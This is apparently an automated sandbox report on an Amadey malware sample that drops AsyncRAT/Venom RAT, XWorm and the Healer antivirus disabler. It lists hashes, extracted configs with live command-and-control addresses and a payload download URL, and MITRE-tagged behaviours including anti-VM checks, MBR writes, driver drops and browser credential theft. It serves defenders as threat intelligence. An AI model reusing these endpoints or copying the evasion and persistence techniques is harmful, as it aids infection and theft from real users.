amadey | bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666

Analysis

max time kernel
85s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
27/03/2025, 04:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
Size

1.8MB
MD5

d5f6e39b19e5b45d9953d4cb1401cc51
SHA1

c20f5112e5c6743247c3aa2939bbac098e7df551
SHA256

bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666
SHA512

b63a89ec0df2dd5c836e03d5c4f2b74acd5444499ac728eb66d9cc55d892b85819ceb10c98bb96067170fa4d0ac34cc72c3f839e8f4c1c740d7e50d27e6fb298
SSDEEP

24576:kUAfrVg7JIB/RwQTo1ozluw6kJ4AoZRvMfyTY/e63AlMYe/t4SHd4lU55eoyyT0O:7Af5g766QTNv6i4Zrng2lMff9Pei0

Score

10^/10

amadey asyncrat healer xworm 092155 fromrussia2 bootkit defense_evasion discovery dropper execution exploit persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

xworm

Version

5.0

b.strongest.network:22394

Mutex

arwpWzcFwkBy2ZX1

Attributes

Install_directory
%AppData%
install_file
MsWin32tart.exe

aes.plain

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

fromrussia2

85.192.56.180:4449

Mutex

fromlove

Attributes

delay
120
install
true
install_file
WMIRegistrationService.exe
install_folder
%AppData%

aes.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0008000000024111-27294.dat	family_xworm
behavioral2/memory/6472-27305-0x00000000005E0000-0x000000000060E000-memory.dmp	family_xworm

Detects Healer an antivirus disabler dropper 2 IoCs

resource	yara_rule
behavioral2/memory/8612-27518-0x0000000000B60000-0x0000000000FBA000-memory.dmp	healer
behavioral2/memory/8612-27517-0x0000000000B60000-0x0000000000FBA000-memory.dmp	healer

Healer
Healer an antivirus disabler dropper.
dropper healer
Healer family
healer
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/11136-27382-0x0000000004890000-0x00000000048A8000-memory.dmp	family_asyncrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	7d9b80109e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4528	powershell.exe
12900	powershell.exe
8120	powershell.exe
12352	powershell.exe
12684	powershell.exe
6636	powershell.exe
516	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 14 IoCs

flow	pid	Process
29	1872	rapes.exe
31	720	svchost.exe
43	1872	rapes.exe
43	1872	rapes.exe
43	1872	rapes.exe
43	1872	rapes.exe
43	1872	rapes.exe
43	1872	rapes.exe
43	1872	rapes.exe
167	1872	rapes.exe
167	1872	rapes.exe
167	1872	rapes.exe
167	1872	rapes.exe
32	1872	rapes.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File created	C:\Windows\System32\Drivers\442fab23.sys	c4b0b764.exe
File created	C:\Windows\System32\Drivers\klupd_442fab23a_arkmon.sys	c4b0b764.exe
File created	C:\Windows\System32\Drivers\klupd_442fab23a_klbg.sys	c4b0b764.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
5268	takeown.exe
5312	icacls.exe

Sets service image path in registry 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_442fab23a_mark\ImagePath = "System32\\Drivers\\klupd_442fab23a_mark.sys"	c4b0b764.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_442fab23a_arkmon_7C924DD4\ImagePath = "\\??\\C:\\KVRT2020_Data\\Temp\\7C924DD4D20055C80007791130E2D03F\\klupd_442fab23a_arkmon.sys"	c4b0b764.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\442fab23\ImagePath = "System32\\Drivers\\442fab23.sys"	c4b0b764.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_442fab23a_arkmon\ImagePath = "System32\\Drivers\\klupd_442fab23a_arkmon.sys"	c4b0b764.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_442fab23a_klbg\ImagePath = "System32\\Drivers\\klupd_442fab23a_klbg.sys"	c4b0b764.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\klupd_442fab23a_klark\ImagePath = "System32\\Drivers\\klupd_442fab23a_klark.sys"	c4b0b764.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 52 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	kZZeUXM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaupdaterw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javasupport_platform.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaplatform_platform.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaupdater_platform.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaplatformw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaupdater_service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaruntime_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaupdater_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javasupport_platform.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaplatformw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaplugin_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javasupport_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7d9b80109e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaupdater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaupdater_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaplugin_service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaupdater_service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaplugin_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaruntime_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaupdater_platform.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaservice.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaplugin_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javasupport_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaupdaterw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaupdater_platform.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaplugin_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	kZZeUXM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaservicew.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaplugin_service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaservice.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javasupport_update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javasupportw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaupdater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaplatform_platform.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javaruntimew.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaupdater_platform.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javasupport_service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7d9b80109e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaservicew.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javasupportw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javaruntimew.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	javasupport_service.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	javasupport_update.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	7IIl2eE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	WLbfHbp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	apple.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	22.exe
Key value queried	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Control Panel\International\Geo\Nation	22.exe

Deletes itself 1 IoCs

pid	Process
5088	w32tm.exe

Executes dropped EXE 40 IoCs

pid	Process
1872	rapes.exe
2008	7b35p_003.exe
5080	7IIl2eE.exe
840	tzutil.exe
5088	w32tm.exe
5992	rapes.exe
6076	7d9b80109e.exe
6896	WLbfHbp.exe
11084	176e7ff6.exe
11868	BIm18E9.exe
7044	c4b0b764.exe
1648	Exam.com
6448	kDveTWY.exe
8284	oalJJxv.exe
8508	kZZeUXM.exe
8864	javaservicew.exe
9168	javaruntime_update.exe
9364	javaupdaterw.exe
9644	javasupportw.exe
9908	javaupdater_platform.exe
10172	javaupdater.exe
10432	rapes.exe
10416	javaupdater_update.exe
10704	javasupport_platform.exe
11164	javaplatform_platform.exe
11436	javaruntimew.exe
11708	javaplugin_service.exe
12008	javaupdater_platform.exe
5724	apple.exe
5864	javasupport_service.exe
12456	javaservice.exe
12744	javasupport_update.exe
6056	22.exe
12936	javaplatformw.exe
13068	javaplugin_update.exe
13220	javaupdater_service.exe
1724	javaplugin_update.exe
5020	javasupport_update.exe
6788	22.exe
7564	EPTwCQd.exe

Identifies Wine through registry keys 2 TTPs 5 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	7d9b80109e.exe
Key opened	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\Software\Wine	rapes.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\442fab23.sys	c4b0b764.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\442fab23.sys\ = "Driver"	c4b0b764.exe

Loads dropped DLL 25 IoCs

pid	Process
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5268	takeown.exe
5312	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-869607583-2483572573-2297019986-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\56bdb16e-f367-4d56-ae99-08987b7c2ef1 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{2453dbc9-74bb-4eea-9624-0e6ceb3af8e2}\\56bdb16e-f367-4d56-ae99-08987b7c2ef1.cmd\""	c4b0b764.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	c4b0b764.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	c4b0b764.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x000c000000024102-27214.dat	autoit_exe
behavioral2/files/0x000700000002412c-27482.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
1564	tasklist.exe
8244	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

pid	Process
4860	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
1872	rapes.exe
5992	rapes.exe
6076	7d9b80109e.exe
10432	rapes.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 6448 set thread context of 6524	6448	kDveTWY.exe	138
PID 7564 set thread context of 7704	7564	EPTwCQd.exe	179

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	176e7ff6.exe
File opened (read-only)	\??\VBoxMiniRdrDN	c4b0b764.exe

Drops file in Windows directory 23 IoCs

description	ioc	Process
File opened for modification	C:\Windows\CorrectionsGeographic	7IIl2eE.exe
File opened for modification	C:\Windows\RowTopics	7IIl2eE.exe
File opened for modification	C:\Windows\SpecificsHeaven	7IIl2eE.exe
File opened for modification	C:\Windows\VeryBulk	WLbfHbp.exe
File opened for modification	C:\Windows\MandateFlashing	WLbfHbp.exe
File opened for modification	C:\Windows\IstRepresentative	WLbfHbp.exe
File opened for modification	C:\Windows\ThinksMartin	WLbfHbp.exe
File opened for modification	C:\Windows\AdministratorNhs	WLbfHbp.exe
File opened for modification	C:\Windows\ThoseTransit	WLbfHbp.exe
File opened for modification	C:\Windows\SinghCooling	WLbfHbp.exe
File created	C:\Windows\Tasks\rapes.job	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
File opened for modification	C:\Windows\LogisticsNotre	7IIl2eE.exe
File opened for modification	C:\Windows\ProvidingMilwaukee	7IIl2eE.exe
File opened for modification	C:\Windows\WallpapersHo	7IIl2eE.exe
File opened for modification	C:\Windows\BrandonStat	7IIl2eE.exe
File opened for modification	C:\Windows\PotteryUser	7IIl2eE.exe
File opened for modification	C:\Windows\GentleLogging	7IIl2eE.exe
File opened for modification	C:\Windows\EstateLegislative	7IIl2eE.exe
File opened for modification	C:\Windows\DiscussedFacial	7IIl2eE.exe
File opened for modification	C:\Windows\EnglandDeleted	7IIl2eE.exe
File opened for modification	C:\Windows\FinancingPortable	WLbfHbp.exe
File opened for modification	C:\Windows\DollStriking	WLbfHbp.exe
File opened for modification	C:\Windows\JenniferSubdivision	7IIl2eE.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
8052	sc.exe
8460	sc.exe
9792	sc.exe
10020	sc.exe
11524	sc.exe
1304	sc.exe
5400	sc.exe
8616	sc.exe
8944	sc.exe
9556	sc.exe
5220	sc.exe
4916	sc.exe
9236	sc.exe
5536	sc.exe
5440	sc.exe
8800	sc.exe
9656	sc.exe
10292	sc.exe
10316	sc.exe
10460	sc.exe
9440	sc.exe
9468	sc.exe
10604	sc.exe
7892	sc.exe
8524	sc.exe
8640	sc.exe
9588	sc.exe
9828	sc.exe
10080	sc.exe
10152	sc.exe
11552	sc.exe
8364	sc.exe
8772	sc.exe
548	sc.exe
9344	sc.exe
9688	sc.exe
10192	sc.exe
7868	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
8820	1648	WerFault.exe	134

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	176e7ff6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BIm18E9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7IIl2eE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WLbfHbp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oalJJxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	22.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7b35p_003.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c4b0b764.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Exam.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	apple.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	22.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7d9b80109e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
7792	timeout.exe
11908	timeout.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
4108	taskkill.exe
8828	taskkill.exe
9080	taskkill.exe
5436	taskkill.exe
9192	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1996	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5496	schtasks.exe
10964	schtasks.exe
7548	schtasks.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

pid	Process
4860	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
4860	bc1f7ca5b344ac935361475d3a386ca9c17ae5b856e1028622d2a7131d6eb666.exe
1872	rapes.exe
1872	rapes.exe
516	powershell.exe
516	powershell.exe
5992	rapes.exe
5992	rapes.exe
6076	7d9b80109e.exe
6076	7d9b80109e.exe
6076	7d9b80109e.exe
6076	7d9b80109e.exe
6076	7d9b80109e.exe
6076	7d9b80109e.exe
11868	BIm18E9.exe
11868	BIm18E9.exe
1648	Exam.com
1648	Exam.com
1648	Exam.com
1648	Exam.com
1648	Exam.com
1648	Exam.com
6524	MSBuild.exe
6524	MSBuild.exe
6524	MSBuild.exe
6524	MSBuild.exe
10432	rapes.exe
10432	rapes.exe
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe
7044	c4b0b764.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2008	7b35p_003.exe
2008	7b35p_003.exe
2008	7b35p_003.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeDebugPrivilege	516	powershell.exe
Token: SeDebugPrivilege	7044	c4b0b764.exe
Token: SeBackupPrivilege	7044	c4b0b764.exe
Token: SeRestorePrivilege	7044	c4b0b764.exe
Token: SeLoadDriverPrivilege	7044	c4b0b764.exe
Token: SeShutdownPrivilege	7044	c4b0b764.exe
Token: SeSystemEnvironmentPrivilege	7044	c4b0b764.exe
Token: SeSecurityPrivilege	7044	c4b0b764.exe
Token: SeDebugPrivilege	1564	tasklist.exe
Token: SeDebugPrivilege	8244	tasklist.exe
Token: SeBackupPrivilege	7044	c4b0b764.exe
Token: SeRestorePrivilege	7044	c4b0b764.exe
Token: SeDebugPrivilege	7044	c4b0b764.exe
Token: SeSystemEnvironmentPrivilege	7044	c4b0b764.exe
Token: SeSecurityPrivilege	7044	c4b0b764.exe
Token: SeCreatePermanentPrivilege	7044	c4b0b764.exe
Token: SeShutdownPrivilege	7044	c4b0b764.exe
Token: SeLoadDriverPrivilege	7044	c4b0b764.exe
Token: SeIncreaseQuotaPrivilege	7044	c4b0b764.exe
Token: SeSecurityPrivilege	7044	c4b0b764.exe
Token: SeSystemProfilePrivilege	7044	c4b0b764.exe
Token: SeDebugPrivilege	7044	c4b0b764.exe
Token: SeMachineAccountPrivilege	7044	c4b0b764.exe
Token: SeCreateTokenPrivilege	7044	c4b0b764.exe
Token: SeAssignPrimaryTokenPrivilege	7044	c4b0b764.exe
Token: SeTcbPrivilege	7044	c4b0b764.exe
Token: SeAuditPrivilege	7044	c4b0b764.exe
Token: SeSystemEnvironmentPrivilege	7044	c4b0b764.exe
Token: SeLoadDriverPrivilege	7044	c4b0b764.exe
Token: SeLoadDriverPrivilege	7044	c4b0b764.exe
Token: SeIncreaseQuotaPrivilege	7044	c4b0b764.exe
